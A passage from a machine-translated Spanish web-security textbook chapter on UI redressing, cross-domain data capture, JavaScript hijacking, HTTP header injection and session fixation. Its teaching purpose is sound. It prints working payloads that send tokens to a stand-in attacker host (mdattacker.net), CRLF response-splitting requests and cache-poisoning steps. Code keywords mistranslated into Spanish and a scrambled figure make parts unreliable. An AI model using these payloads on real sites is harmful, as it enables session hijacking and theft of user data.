interfaz del atacante al campo de entrada relevante en el formulario que define la regla. Además,
dado que los enlaces y las imágenes se arrastran como URL, el atacante puede inducir acciones
de arrastre para capturar URL confidenciales, incluidos tokens anti-CSRF, desde la interfaz de la
aplicación de destino.
Una explicación útil de estos y otros vectores de ataque, y los métodos por
que pueden ser entregados, se puede encontrar aquí:
http://ui-redressing.mniemietz.de/uiRedressing.pdf
Machine Translated by Google
Cuando los ataques de reparación de UI se discutieron ampliamente por primera vez, muchas
aplicaciones web de alto perfil buscaron defenderse de ellos utilizando una técnica defensiva
conocida como framebusting. En algunos casos, esto ya se estaba utilizando para defenderse
de otros ataques basados en marcos.
Framebusting puede tomar varias formas, pero esencialmente implica que cada página relevante
de una aplicación ejecute un script para detectar si se está cargando dentro de un iframe. Si es así,
se intenta "romper" el iframe o se realiza alguna otra acción defensiva, como redirigir a una página
de error o negarse a mostrar la propia interfaz de la aplicación.
Este código verifica si la URL de la página en sí coincide con la URL del marco superior en la
ventana del navegador. Si no es así, la página se ha cargado dentro de un marco secundario. En
ese caso, la secuencia de comandos intenta salir del marco recargándose en el marco de nivel
superior de la ventana.
Un atacante que realiza un ataque de reparación de la interfaz de usuario puede eludir esta defensa para
encuadre con éxito la página de destino de varias maneras:
n Dado que la página del atacante controla el marco de nivel superior, puede redefinir el
significado de ubicación superior para que se produzca una excepción cuando un marco
secundario intente hacer referencia a él. Por ejemplo, en Internet Explorer, el atacante
puede ejecutar el siguiente código:
Esto redefine la ubicación como una variable local en el marco de nivel superior para que
el código que se ejecuta en un marco secundario no puede acceder a él.
n El marco de nivel superior puede defi nir el atributo de espacio aislado al cargar la
aplicación de destino en un marco secundario. Esto deshabilita las secuencias de
comandos en el marco secundario y deja habilitadas las cookies.
Machine Translated by Google
n El marco de nivel superior puede aprovechar el fi ltro XSS de IE para deshabilitar selectivamente
el script de destrucción de marcos dentro del marco secundario, como se describe en el Capítulo
12. Cuando la página del atacante especifica la URL para el objetivo del iframe , puede incluir
un nuevo parámetro cuyo El valor contiene una parte adecuada del script de destrucción de
fotogramas. El fi ltro XSS de IE identifica el código de la secuencia de comandos tanto en el
valor del parámetro como en la respuesta de la aplicación de destino y desactiva la secuencia
de comandos en la respuesta en un esfuerzo por proteger al usuario.
¡INTENTALO!
http://mdsec.net/auth/406/
Prevención de compensación de UI
El consenso actual es que, aunque algunos tipos de código de destrucción de marcos pueden dificultar
los ataques de reparación de la interfaz de usuario en algunas situaciones, no se debe confiar en esta
técnica como una defensa segura contra estos ataques.
Un método más sólido para que una aplicación evite que un atacante enmarque sus páginas es
usar el encabezado de respuesta X-Frame-Options . Se introdujo con Internet Explorer 8 y desde
entonces se ha implementado en la mayoría de los otros navegadores populares. El encabezado X-
Frame-Options puede tomar dos valores. El valor denegar le indica al navegador que evite que la página
sea enmarcada, y sameorigin le indica al navegador que evite que dominios de terceros la enmarquen.
Muchas aplicaciones contienen una funcionalidad que permite a un atacante inyectar HTML
limitado en una respuesta que recibe un usuario diferente de una manera que no llega a una
vulnerabilidad XSS completa. Por ejemplo, una aplicación de correo web puede mostrar correos
electrónicos que contengan algunas marcas HTML, pero bloquee cualquier etiqueta y atributo
que se pueda usar para ejecutar código de secuencia de comandos. O un mensaje de error
generado dinámicamente puede filtrar un rango de expresiones pero aun así permitir un uso limitado de HTML.
En estas situaciones, es posible aprovechar la condición de inyección de HTML para hacer
que los datos confidenciales de la página se envíen al dominio del atacante.
Por ejemplo, en una aplicación de correo web, el atacante puede capturar el contenido de un
mensaje de correo electrónico privado. Alternativamente, el atacante puede leer un token anti-
CSRF que se usa dentro de la página, lo que le permite lanzar un ataque CSRF para reenviar
los mensajes de correo electrónico del usuario a una dirección arbitraria.
Supongamos que la aplicación de correo web permite la inyección de HTML limitado en la
siguiente respuesta:
...
</formulario>
...
<script>
var _StatsTrackerId='AAE78F27CB3210D';
...
</script>
Después del punto de inyección, la página contiene un formulario HTML que incluye un token
CSRF. En esta situación, un atacante podría inyectar el siguiente texto en la respuesta:
<img src='http://mdattacker.net/capture?html=
Este fragmento de HTML abre una etiqueta de imagen dirigida a una URL en el dominio del
atacante. La URL está encapsulada entre comillas simples, pero la cadena de URL
Machine Translated by Google
no se termina y la etiqueta <img> no se cierra. Esto hace que el navegador trate el texto
que sigue al punto de inyección como parte de la URL, hasta que se encuentra una
comilla simple, lo que sucede más adelante en la respuesta cuando aparece una
cadena JavaScript entre comillas. Los navegadores toleran todos los caracteres
intermedios y el hecho de que la URL se extienda por varias líneas.
Cuando el navegador del usuario procesa la respuesta en la que el atacante inyectó,
intenta obtener la imagen especificada y realiza una solicitud a la siguiente URL, enviando
así el token anti-CSRF sensible al atacante.
servidor:
http://mdattacker.net/capture?html=<form%20action=”http://wahh-mail.com/
forwardemail”%20method=”POST”><input%20type=”hidden”%20name=”nonce ”%20value=
“2230313740821”><input%20type=”submit”%20value=”Adelante”>...</form>... <script> var%20_StatsTrackerId=
Este ataque inyecta una etiqueta <form> dirigida al dominio del atacante antes de la
etiqueta <form> utilizada por la propia aplicación. En esta situación, cuando los navegadores
encuentran la etiqueta <form> anidada , la ignoran y procesan el formulario en el contexto
de la primera etiqueta <form> que encontraron. Por lo tanto, si el usuario envía el formulario,
todos sus parámetros, incluido el token anti-CSRF confidencial, se envían al servidor del
atacante:
nonce=2230313740821&...
Dado que este segundo ataque solo inyecta HTML bien formado, puede ser más eficaz
contra los fi ltros diseñados para permitir un subconjunto de HTML en las entradas repetidas.
Sin embargo, también requiere cierta interacción del usuario para tener éxito, lo que puede
reducir su eficacia en algunas situaciones.
Por ejemplo, en una aplicación de correo web, un atacante puede introducir texto limitado
en la respuesta de un usuario objetivo a través de la línea de asunto de un correo electrónico.
En esta situación, el atacante puede capturar datos confidenciales entre dominios inyectando
código CSS en la aplicación.
En el ejemplo ya discutido, suponga que el atacante envía un correo electrónico con esta
línea de asunto:
{}*{Familia tipográfica:'
Dado que no contiene metacaracteres HTML, será aceptado por la mayoría de las
aplicaciones y se mostrará sin modificar en las respuestas al usuario receptor. Cuando esto
sucede, la respuesta devuelta al usuario podría verse así:
<html>
<cabeza>
<title>Bandeja de entrada de WahhMail</title>
</cabeza>
<cuerpo>
...
<td>{}*{familia de fuentes:'</td>
...
<form action=”http://wahh-mail.com/forwardemail” method=”POST”> <input type=”hidden”
name=”nonce” value=”2230313740821”> <input type=”submit” value= ”Adelante”>
...
</formulario>
...
<script>
var _StatsTrackerId='AAE78F27CB3210D';
...
</script>
</cuerpo>
</html>
luego ser consultado usando JavaScript para recuperar los datos capturados. Por ejemplo, el
atacante puede alojar una página que contenga lo siguiente:
<enlace rel=”hoja de estilo” href=”https://wahh-mail.com/inbox” type=”text/
css”>
<script>
document.write('<img src=”http://mdattacker.net/capture?' +
escape(document.body.currentStyle.fontFamily) + '”>');
</script>
Esta página incluye la URL relevante de la aplicación de correo web como una hoja de
estilo y luego ejecuta un script para consultar la propiedad de la familia de fuentes , que se
ha definido en la respuesta de la aplicación de correo web. El valor de la propiedad de la
familia de fuentes , incluido el token anti-CSRF confidencial, se transmite al servidor del
atacante a través de una solicitud generada dinámicamente para la siguiente URL:
Este ataque funciona en las versiones actuales de Internet Explorer. Otros navegadores
han modificado su manejo de las inclusiones de CSS para evitar que el ataque funcione, y es
posible que IE también pueda hacer esto en el futuro.
Secuestro de JavaScript
El secuestro de JavaScript proporciona un método adicional para capturar datos entre
dominios, convirtiendo CSRF en un ataque "bidireccional" limitado. Como se describe en el
Capítulo 3, la política del mismo origen permite que un dominio incluya código de secuencia
de comandos de otro dominio, y este código se ejecuta en el contexto del dominio que invoca,
no del dominio emisor. Esta disposición es inofensiva siempre que las respuestas de la
aplicación que son ejecutables mediante un script entre dominios contengan solo código no
confidencial, que es estático y accesible para cualquier usuario de la aplicación. Sin embargo,
muchas de las aplicaciones actuales utilizan JavaScript para transmitir datos confidenciales,
de una forma que no estaba prevista cuando se ideó la política del mismo origen. Además,
los desarrollos en los navegadores significan que una gama cada vez mayor de sintaxis se
está volviendo ejecutable como JavaScript válido, con nuevas oportunidades para capturar datos entre dominios
Los cambios en el diseño de aplicaciones que caen bajo el amplio paraguas "2.0" incluyen
nuevas formas de usar el código JavaScript para transmitir datos confidenciales desde el
servidor al cliente. En muchas situaciones, una forma rápida y eficiente de actualizar la
interfaz de usuario a través de solicitudes asincrónicas al servidor es incluir dinámicamente
un código de script que contenga, de alguna forma, los datos específicos del usuario que
deben mostrarse.
Machine Translated by Google
Esta sección examina varias formas en las que el código de secuencia de comandos ejecutado
dinámicamente se puede utilizar para transmitir datos confidenciales. También considera cómo se
puede secuestrar este código para capturar los datos de un dominio diferente.
Considere una aplicación que muestra la información del perfil del usuario actual dentro de
la interfaz de usuario cuando hace clic en la pestaña correspondiente. Para proporcionar
una experiencia de usuario fluida, la información se obtiene mediante una solicitud
asíncrona . Cuando el usuario hace clic en la pestaña Perfil, algún código del lado del
cliente incluye dinámicamente el siguiente script:
https://mdsec.net/auth/420/YourDetailsJson.ashx
La respuesta de esta URL contiene una devolución de llamada a una función ya definida.
que muestra los detalles del usuario dentro de la interfaz de usuario:
mostrarInfoUsuario(
[
[ 'Nombre', 'Mateo Adamson' ],
[ 'Nombre de usuario', 'adammatt' ],
[ 'Contraseña', '4nl1ub3' ],
[ 'Uid', '88' ],
[ 'Rol', 'Usuario' ]
]);
<script>
función mostrarInfoUsuario(x) { alerta(x); } </script> <script
src=”https://mdsec.net/auth/420/YourDetailsJson.ashx”> </script>
Si un usuario que accede a la página del atacante inicia sesión simultáneamente en la aplicación
vulnerable, la página del atacante incluye dinámicamente el script que contiene la información del perfil del
usuario. Este script llama a la función showUserInfo , tal como la implementó el atacante, y su código recibe
los detalles del perfil del usuario, incluida, en este caso, la contraseña del usuario.
¡INTENTALO!
http://mdsec.net/auth/420/
Machine Translated by Google
JSON
En una variación del ejemplo anterior, la aplicación no realiza una devolución de
llamada de función en el script invocado dinámicamente, sino que simplemente
devuelve la matriz JSON que contiene los detalles del usuario:
[
[ 'Nombre', 'Mateo Adamson' ],
[ 'Nombre de usuario', 'adammatt' ],
[ 'Contraseña', '4nl1ub3' ],
[ 'Uid', '88' ],
[ 'Rol', 'Usuario' ]
]
Como se describe en el Capítulo 3, JSON es una notación flexible para representar matrices
de datos y puede ser consumido directamente por un intérprete de JavaScript.
En versiones anteriores de Firefox, era posible realizar un ataque de inclusión de secuencias
de comandos entre dominios para capturar estos datos anulando el constructor Array
predeterminado en JavaScript. Por ejemplo:
<script>
función de captura(s) {
alerta(s);
}
matriz de funciones () {
para (var i = 0; i < 5; i++)
este[i] setter = capturar;
}
</script>
<script src=”https://mdsec.net/auth/409/YourDetailsJson.ashx”>
</script>
Este ataque modifica el objeto Array predeterminado y defi ne una función de establecimiento
personalizada , que se invoca cuando se asignan valores a los elementos de una matriz. Luego
ejecuta la respuesta que contiene los datos JSON. El intérprete de JavaScript consume los datos
JSON, construye una matriz para contener sus valores e invoca la función de establecimiento
personalizado del atacante para cada valor de la matriz.
Desde que se descubrió este tipo de ataque en 2006, el navegador Firefox se ha modificado
para que no se invoquen configuradores personalizados durante la inicialización de la matriz.
Este ataque no es posible en los navegadores actuales.
¡INTENTALO!
http://mdsec.net/auth/409/
Necesita descargar la versión 2.0 de Firefox para aprovechar este ejemplo. Puede
descargarlo desde la siguiente URL:
www.oldapps.com/firefox.php?old_firefox=26
Machine Translated by Google
Asignación de variables
Considere una aplicación de redes sociales que hace un uso intensivo de solicitudes
asincrónicas para acciones como actualizar el estado, agregar amigos y publicar comentarios.
Para brindar una experiencia de usuario rápida y fluida, partes de la interfaz de usuario se
cargan mediante scripts generados dinámicamente. Para evitar ataques CSRF estándar,
estos scripts incluyen tokens anti-CSRF que se utilizan al realizar acciones confidenciales.
Dependiendo de cómo se incrusten estos tokens dentro de los scripts dinámicos, es posible
que un atacante capture los tokens al incluir los scripts relevantes entre dominios.
Por ejemplo, suponga que un script devuelto por la aplicación en wahh-network .com
contiene lo siguiente:
...
var nonce = '222230313740821';
...
<script src=”https://wahh-network.com/status”>
</script>
<script>
alerta (nonce);
</script>
En un ejemplo diferente, el valor del token se puede asignar dentro de una función:
función setStatus(estado)
{
...
nonce = '222230313740821';
...
}
<script src=”https://wahh-network.com/status”>
</script>
<script>
establecerEstado('a');
alerta (nonce);
</script>
E4X
En el pasado reciente, E4X ha sido un área de rápida evolución, con el comportamiento
del navegador actualizado con frecuencia en respuesta a condiciones explotables que se
han identificado en numerosas aplicaciones del mundo real.
E4X es una extensión de los lenguajes ECMAScript (incluido JavaScript) que agrega soporte
nativo para el lenguaje XML. Actualmente, está implementado en las versiones actuales del
navegador Firefox. Aunque ya se ha solucionado, un ejemplo clásico de captura de datos entre
dominios se puede encontrar en el manejo de E4X por parte de Firefox.
Además de permitir el uso directo de la sintaxis XML dentro de JavaScript, E4X permite llamadas
anidadas a JavaScript desde XML:
Estas características de E4X tienen dos consecuencias significativas para los ataques de captura
de datos entre dominios:
n Una parte del marcado XML bien formado se trata como un valor que no es
asignado a cualquier variable.
Gran parte del HTML bien formado también es XML bien formado, lo que significa que se puede
consumir como E4X. Además, gran parte del HTML incluye código de secuencia de comandos en
un bloque {...} que contiene datos confidenciales. Por ejemplo:
<html>
<cabeza>
<script>
...
función setNonce()
{
nonce = '222230313740821';
}
...
</script>
</cabeza>
<cuerpo>
...
</cuerpo>
</html>
En versiones anteriores de Firefox, era posible realizar una secuencia de comandos entre
dominios que incluía una respuesta HTML completa como esta y hacer que parte del JavaScript
incrustado se ejecutara dentro del dominio del atacante.
Machine Translated by Google
Deben existir varias condiciones previas antes de que se pueda realizar un ataque de secuestro
de JavaScript . Para prevenir tales ataques, es necesario violar al menos una de estas condiciones
previas. Para proporcionar una defensa en profundidad, se recomienda implementar múltiples
precauciones de manera conjunta:
n En cuanto a las solicitudes que realizan acciones confidenciales, la aplicación debe usar
defensas anti-CSRF estándar para evitar que las solicitudes entre dominios devuelvan
respuestas que contengan datos confidenciales.
n Debido a que la aplicación puede usar XMLHttpRequest para recuperar código de script
dinámico , puede usar solicitudes POST para hacerlo. Si la aplicación solo acepta
solicitudes POST para código de secuencia de comandos potencialmente vulnerable,
evita que los sitios de terceros las incluyan mediante etiquetas <script> .
Este capítulo y el anterior han descrito numerosos ejemplos de cómo se aplica la política del
mismo origen a HTML y JavaScript, y las formas en que se puede eludir a través de errores de
aplicación y peculiaridades del navegador.
Machine Translated by Google
Para comprender más completamente las consecuencias de la política del mismo origen
para la seguridad de las aplicaciones web, esta sección examina algunos contextos
adicionales en los que se aplica la política y cómo pueden surgir ciertos ataques entre
dominios en esos contextos.
<?versión xml=”1.0”?>
<política-de-dominios-cruzados>
<control-del-sitio-permitido-policías-de-dominios-cruzados=”por-tipo-de-contenido”/> <permitir-acceso-desde-
dominio=”*.macromedia.com” />
<permitir-acceso-desde-dominio=”*.adobe.com” />
<permitir-acceso-desde-dominio=”*.photoshop.com” /> <permitir-acceso-desde-
dominio=”*.acrobat.com” />
</cross-domain-policy>
Machine Translated by Google
PASOS DE HACK
Siempre debe buscar el archivo /crossdomain.xml en cualquier aplicación web que esté
probando. Incluso si la aplicación en sí no usa Flash, si se otorga permiso a otro dominio, los
objetos Flash emitidos por ese dominio pueden interactuar con el dominio que publica la política.
n Algunos archivos de políticas revelan nombres de host de intranet u otra información confidencial.
que puede ser de utilidad para un atacante.
Otro punto a tener en cuenta es que un objeto Flash puede especificar una URL en el
servidor de destino desde el que se debe descargar el archivo de política. Si un archivo de
política de nivel superior no está presente en la ubicación predeterminada, el navegador Flash
intenta descargar una política desde la URL especificada. Para ser procesada, la respuesta a
esta URL debe contener un archivo de política con formato válido y debe especificar un tipo
XML o MIME basado en texto en el encabezado Content-Type . Actualmente, la mayoría de
los dominios en la web no publican un archivo de política Flash en /crossdomain.xml, tal vez
asumiendo que el comportamiento predeterminado sin política es prohibir cualquier acceso entre dominios.
Sin embargo, esto pasa por alto la posibilidad de que los objetos Flash de terceros especifiquen
una URL personalizada desde la cual descargar una política. Si una aplicación contiene
alguna funcionalidad que un atacante podría aprovechar para colocar un archivo XML arbitrario
en una URL en el dominio de la aplicación, puede ser vulnerable a este ataque.
Una diferencia importante entre Silverlight y Flash es que Silverlight no separa los
orígenes según el protocolo o el puerto, por lo que los objetos cargados a través de HTTP
pueden interactuar con las URL de HTTPS en el mismo dominio.
<política>
<permitir-desde>
</permitir-desde>
<grant-to> <ruta
del recurso=”/” include-subpaths=”true”/>
</grant-to> </policy>
</cross-domain-access>
</política-de-acceso>
Las mismas consideraciones que ya se discutieron para el archivo de política entre dominios
de Flash se aplican a Silverlight, con la excepción de que Silverlight no permite que un objeto
especifique una URL no estándar para el archivo de política.
Si el archivo de política de Silverlight no está presente en un servidor, la extensión del
navegador de Silverlight intenta cargar un archivo de política de Flash válido desde la ubicación
predeterminada. Si el archivo está presente, la extensión lo procesa en su lugar.
n Para las solicitudes "normales", el tipo que se puede generar entre dominios utilizando
construcciones HTML existentes, el navegador emite la solicitud e inspecciona los encabezados
de respuesta resultantes para determinar si se debe permitir que el script que invoca acceda a
la respuesta de la solicitud.
n Otras solicitudes que no se pueden generar usando HTML existente, como aquellas
que usan un método HTTP no estándar o Content-Type, o que agregan encabezados
HTTP personalizados, se manejan de manera diferente. El navegador primero realiza
una solicitud de OPCIONES a la URL de destino y luego inspecciona los encabezados
de respuesta para determinar si se debe permitir la solicitud que se está intentando.
Origen: http://wahh-app.com
En respuesta a la solicitud de OPCIONES , el servidor puede usar encabezados como los siguientes
Procediendo a especificar los tipos de solicitudes entre dominios que están permitidas:
PASOS DE HACK
2. Si se admite cualquier acceso entre dominios, también debe utilizar las solicitudes
de OPCIONES para comprender exactamente qué encabezados y otros detalles
de la solicitud están permitidos.
usuario desde dentro de la aplicación web de proxy. Un ejemplo de esto es Google Translate
(GT), que solicita una URL externa específica y devuelve su contenido, como se muestra en la
Figura 13-2. (Aunque el motor de traducción puede modificar el texto dentro de la respuesta
recuperada, el marcado HTML subyacente y cualquier código de script no se modifican).
Figura 13-2: Google Translate se puede usar para solicitar una URL externa y devolver
su contenido, con texto en la respuesta traducido a un idioma específico
Donde esto se vuelve interesante es si se accede a dos dominios externos diferentes a través
de la aplicación GT. Cuando esto sucede, en lo que respecta al navegador , el contenido de
cada dominio externo ahora reside dentro del dominio GT, ya que este es el dominio del que se
recuperó. Dado que los dos conjuntos de contenido residen en el mismo dominio, la interacción
bidireccional entre ellos es posible si esto también se lleva a cabo a través del dominio GT.
Por supuesto, si un usuario inicia sesión en una aplicación externa y luego accede a la
aplicación a través de GT, su navegador trata correctamente a GT como un dominio diferente.
Por lo tanto, las cookies del usuario para la aplicación externa no se envían en las solicitudes a
través de GT, ni es posible ninguna otra interacción. Por lo tanto, un sitio web malicioso no
puede aprovechar fácilmente GT para comprometer las sesiones de los usuarios en otras aplicaciones.
Sin embargo, el comportamiento de los servicios de proxy como GT puede permitir
que un sitio web realice una interacción bidireccional con las áreas públicas no
autenticadas de una aplicación en un dominio diferente. Un ejemplo de este ataque es Jikto, un
Machine Translated by Google
Gusano de prueba de concepto que puede propagarse entre aplicaciones web encontrando
y explotando vulnerabilidades XSS persistentes en ellas. En esencia, el código de Jikto
funciona de la siguiente manera: n Cuando se ejecuta por primera vez, el script verifica si se
n El script solicita contenido de un dominio externo a través de GT. Dado que el script en
sí se ejecuta en el dominio GT, puede realizar una interacción bidireccional con
contenido público en cualquier otro dominio a través de GT. n La secuencia de
comandos implementa un escáner web básico en JavaScript para sondear el dominio
externo en busca de fallas XSS persistentes. Dichas vulnerabilidades pueden surgir
dentro de las funciones de acceso público, como los tableros de mensajes. n Cuando
se identifica una vulnerabilidad adecuada, el script la explota para cargar
una copia de sí mismo en el dominio externo.
El gusano Jikto busca explotar fallas XSS para autopropagarse. Sin embargo, la técnica de
ataque básica de fusionar dominios a través de servicios de proxy no depende de ninguna
vulnerabilidad en las aplicaciones externas individuales a las que se dirigen, y no se puede
defender de manera realista. Sin embargo, es de interés como técnica de ataque por derecho
propio. También es un tema útil para evaluar su comprensión de cómo se aplica la política del
mismo origen en situaciones inusuales.
Muchos de los ataques que hemos examinado hasta ahora implican aprovechar alguna función
de la aplicación para inyectar contenido manipulado en las respuestas de la aplicación. El mejor
ejemplo de esto son los ataques XSS. También hemos visto la técnica utilizada para capturar
datos entre dominios a través de HTML y CSS inyectados. Esta sección examina una variedad
de otros ataques que involucran la inyección en contextos del lado del cliente.
Las vulnerabilidades de inyección de encabezado HTTP surgen cuando los datos controlables
por el usuario se insertan de manera no segura en un encabezado HTTP devuelto por la
aplicación . Si un atacante puede inyectar caracteres de nueva línea en el encabezado que
controla, puede insertar encabezados HTTP adicionales en la respuesta y puede escribir
contenido arbitrario en el cuerpo de la respuesta.
Esta vulnerabilidad surge más comúnmente en relación con los encabezados de ubicación y
configuración de cookies , pero es posible que ocurra para cualquier encabezado HTTP.
Anteriormente vio cómo una aplicación puede tomar la entrada proporcionada por el usuario e insertarla
Machine Translated by Google
PASOS DE HACK
foo%250d%250abar
foo%%0d0d%%0a0abar
ADVERTENCIA Problemas como estos a veces se pasan por alto debido a la dependencia
excesiva del código fuente HTML y/o los complementos del navegador para obtener
información, que no muestran los encabezados de respuesta. Asegúrese de leer los
encabezados de respuesta HTTP con una herramienta de proxy de interceptación.
¡INTENTALO!
http://mdsec.net/settings/12/
http://mdsec.net/settings/31/
Inyectando Cookies
Se puede construir una URL que establezca cookies arbitrarias dentro del navegador de cualquier
usuario que lo solicite:
GET /settings/12/Default.aspx?Language=English%0d%0aSet
Cookie:+SessId%3d120a12f98e8; HTTP/1.1
Anfitrión: mdsec.net
1. El atacante elige una página de la aplicación que quiere envenenar dentro del
caché del proxy. Por ejemplo, podría reemplazar la página en /admin/ con un
formulario de inicio de sesión troyano que envía las credenciales del usuario al atacante.
servidor.
GET /settings/12/Default.aspx?Language=English%0d%0aContent-Length:+22
%0d%0a%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/1.1+200+OK%0d%0a
Establecer-Cookie: PreferredLanguage=English
Longitud del contenido: 22
<html>
Foo
</html>
HTTP/1.1 200 Aceptar
<html>
<cabeza>
<title>Inicio de sesión del administrador</title>
...
OBTENER http://mdsec.net/settings/12/Default.aspx?Language=English%0d%0a
Longitud del contenido:+22%0d%0a%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/
1.1+200+OK%0d%0aContent-Length:+2307%0d%0a%0d%0a<html>%0d%0a<head>%0d%0a <title>Administrador+inicio
de sesión</title>0d%0a[ ...URL larga...] HTTP/1.1
Anfitrión: mdsec.net
Conexión proxy: Keep-alive
OBTENGA http://mdsec.net/admin/HTTP/1.1
Anfitrión: mdsec.net
Conexión Proxy: Cerrar
4. El servidor proxy abre una conexión TCP a la aplicación y envía las dos
solicitudes canalizadas de la misma manera.
5. La aplicación responde a la primera solicitud con el contenido HTTP inyectado por el atacante,
que se ve exactamente como dos respuestas HTTP separadas.
6. El servidor proxy recibe estas dos respuestas aparentes e interpreta la segunda como la
respuesta a la segunda solicitud canalizada del atacante, que era para la URL http://mdsec.net/
admin/. El proxy almacena en caché esta segunda respuesta como el contenido de esta URL.
(Si el proxy ya almacenó una copia en caché de la página, el atacante puede hacer que vuelva
a solicitar la URL y actualice su caché con la nueva versión insertando un encabezado If-
Modified-Since apropiado en su segunda solicitud y un Last-Modified encabezado en la
respuesta inyectada).
7. La aplicación emite su respuesta real a la segunda solicitud del atacante, que contiene el
contenido auténtico de la URL http://mdsec.net/admin/.
El servidor proxy no reconoce esto como una respuesta a una solicitud que realmente emitió y,
por lo tanto, lo descarta.
Respuesta a la solicitud 1
en caché
Solicitud 2 OBTENER/admin HTTP/1.1 Aceptar
Figura 13-3: Los pasos involucrados en un ataque de división de respuesta HTTP que envenena la
caché de un servidor proxy
Machine Translated by Google
La forma más eficaz de evitar las vulnerabilidades de inyección de encabezados HTTP es no insertar
entradas controlables por el usuario en los encabezados HTTP que devuelve la aplicación. Como vio con
las vulnerabilidades de redirección arbitraria, por lo general hay disponibles alternativas más seguras a
este comportamiento.
Si se considera inevitable insertar datos controlables por el usuario en los encabezados HTTP ,
la aplicación debe emplear un enfoque doble de defensa en profundidad para evitar que surjan
vulnerabilidades:
n Validación de salida: todos los datos que se insertan en los encabezados deben filtrarse para
detectar caracteres potencialmente maliciosos. En la práctica, cualquier carácter con un código
ASCII inferior a 0x20 debe considerarse sospechoso y la solicitud debe rechazarse.
Las aplicaciones pueden evitar que las vulnerabilidades de inyección de encabezado restantes
se utilicen para envenenar los cachés del servidor proxy mediante el uso de HTTPS para todo el
contenido de la aplicación, siempre que la aplicación no emplee un servidor proxy inverso de
almacenamiento en caché detrás de su terminador SSL.
Inyección de cookies
En los ataques de inyección de cookies, el atacante aprovecha alguna característica de la funcionalidad
de una aplicación, o el comportamiento del navegador, para configurar o modificar una cookie dentro del
navegador de un usuario víctima.
n Algunas aplicaciones contienen funciones que toman un nombre y un valor en los parámetros
de la solicitud y los configuran dentro de una cookie en la respuesta. Un ejemplo común
donde esto ocurre es en las funciones para conservar las preferencias del usuario.
usar un ataque intermediario activo (por ejemplo, contra usuarios en una red inalámbrica pública)
para configurar cookies para dominios arbitrarios, incluso
Machine Translated by Google
si la aplicación objetivo usa solo HTTPS y sus cookies están marcadas como
seguras. Este tipo de ataque se describe con más detalle más adelante en este capítulo.
Si un atacante puede configurar una cookie arbitraria, esto se puede aprovechar de varias
maneras para comprometer al usuario objetivo:
capítulo, algunos XSS persistentes del mismo usuario pueden explotarse a través de un ataque
CSRF contra la función de inicio de sesión para iniciar sesión en la cuenta del atacante y, por
lo tanto, acceder a la carga útil XSS. Si la página de inicio de sesión está sólidamente protegida
contra CSRF, este ataque falla. Sin embargo, si el atacante puede configurar una cookie
arbitraria en el navegador del usuario, puede realizar el mismo ataque pasando su propio token
de sesión directamente al usuario, evitando la necesidad de un ataque CSRF contra la función
de inicio de sesión. n La configuración de cookies arbitrarias puede permitir que se identifiquen
Fijación de sesión
Las vulnerabilidades de fijación de sesión suelen surgir cuando una aplicación crea una sesión
anónima para cada usuario cuando accede por primera vez a la aplicación. Si la aplicación contiene
una función de inicio de sesión, esta sesión anónima se crea antes del inicio de sesión y luego se
actualiza a una sesión autenticada después de que el usuario inicia sesión.
El mismo token que inicialmente no otorga ningún acceso especial, luego permite el acceso privilegiado
dentro del contexto de seguridad del usuario autenticado.
En un ataque de secuestro de sesión estándar, el atacante debe usar algún medio para capturar el
token de sesión de un usuario de la aplicación. En un ataque de fijación de sesión, por otro lado, el
atacante primero obtiene un token anónimo directamente de la aplicación y luego utiliza algún medio
para fijar este token dentro del navegador de la víctima. Después de que el usuario haya iniciado
sesión, el atacante puede usar el token para secuestrar la sesión del usuario.
La figura 13-4 muestra los pasos involucrados en un ataque de fijación de sesión exitoso.
Machine Translated by Google
Solicitud
El
1.
yrecibe
token
sesió
solicit
login.
ataca
de
un
4.
secue
usuar
usua
sesió
ataca
usan
latoke
que
mis
del
el
el simbólico
atacante
usando
el
en el
registros
de
3.
recibido
Usuario
Usuario Agresor
La etapa clave en este ataque es, por supuesto, el punto en el que el atacante
alimenta a la víctima con el token de sesión que ha adquirido, lo que hace que el
navegador de la víctima lo use. Las formas en que esto se puede hacer dependen del
mecanismo utilizado para transmitir tokens de sesión:
n Si se utilizan cookies HTTP, el atacante puede intentar utilizar una de las técnicas de
inyección de cookies, tal como se describe en la sección anterior.
n Si los tokens de sesión se transmiten dentro de un parámetro de URL, el atacante
puede simplemente enviar a la víctima la misma URL que le envió la aplicación:
https://wahh-app.com/login.php?SessId=12d1a1f856ef224ab424c2454208
http://wahh-app.com/store/product.do;jsessionid=739105723F7AEE6ABC2
13F812C184204.ASTPESD2
los usuarios pueden navegar por un catálogo de productos, colocar artículos en un carrito de
compras, pagar enviando datos personales y detalles de pago, y luego revisar toda esta
información en una página Confirmar pedido. En esta situación, un atacante puede arreglar
un token de sesión anónimo con el navegador de la víctima, esperar a que ese usuario haga
un pedido y envíe información confidencial, y luego acceder a la página Confirmar pedido
usando el token para capturar los detalles del usuario.
Algunas aplicaciones web y servidores web aceptan tokens arbitrarios enviados por los
usuarios, incluso si estos no fueron emitidos previamente por el propio servidor. Cuando se
recibe un token no reconocido, el servidor simplemente crea una nueva sesión para él y lo
maneja exactamente como si fuera un nuevo token generado por el servidor.
Los servidores Microsoft IIS y Allaire ColdFusion han sido vulnerables a esta debilidad en el
pasado.
Cuando una aplicación o un servidor se comporta de esta manera, los ataques basados
en la fijación de sesiones se facilitan considerablemente porque el atacante no necesita
realizar ningún paso para asegurarse de que los tokens fijados en los navegadores de los
usuarios objetivo son actualmente válidos. El atacante puede simplemente elegir un token
arbitrario y distribuirlo lo más ampliamente posible (por ejemplo, enviando por correo
electrónico una URL que contiene el token a usuarios individuales, listas de correo, etc.).
Luego, el atacante puede sondear periódicamente una página protegida dentro de la aplicación
(como Mis detalles) para detectar cuándo una víctima ha usado el token para iniciar sesión.
Incluso si un usuario objetivo no sigue la URL durante varios meses, un atacante determinado
aún puede ser capaz de secuestrar su sesión.
En ambos casos, un atacante puede obtener un token de sesión válido (ya sea simplemente
solicitando la página de inicio de sesión o realizando un inicio de sesión con sus propias
